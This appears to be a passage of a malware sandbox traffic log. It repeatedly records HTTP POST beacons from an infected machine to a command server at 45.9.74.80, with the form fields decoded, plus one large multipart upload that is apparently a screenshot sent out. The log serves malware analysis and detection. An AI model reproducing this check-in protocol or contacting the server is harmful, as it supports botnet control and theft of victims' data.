Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php?scr=1 HTTP/1.1Content-Type: multipart/form-data; boundary=----OTY5MjY=Host: 45.9.74.80Content-Length: 97078Cache-Control: no-cache
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
Source: global traffic	HTTP traffic detected: POST /0bjdn2Z/index.php HTTP/1.1Content-Type: application/x-www-form-urlencodedHost: 45.9.74.80Content-Length: 87Cache-Control: no-cacheData Raw: 69 64 3d 38 35 33 33 32 31 39 33 35 32 31 32 26 76 73 3d 33 2e 36 37 26 73 64 3d 35 32 63 39 34 38 26 6f 73 3d 31 26 62 69 3d 31 26 61 72 3d 30 26 70 63 3d 33 36 34 33 33 39 26 75 6e 3d 68 61 72 64 7a 26 64 6d 3d 26 61 76 3d 31 33 26 6c 76 3d 30 26 6f 67 3d 31 Data Ascii: id=853321935212&vs=3.67&sd=52c948&os=1&bi=1&ar=0&pc=364339&un=user&dm=&av=13&lv=0&og=1
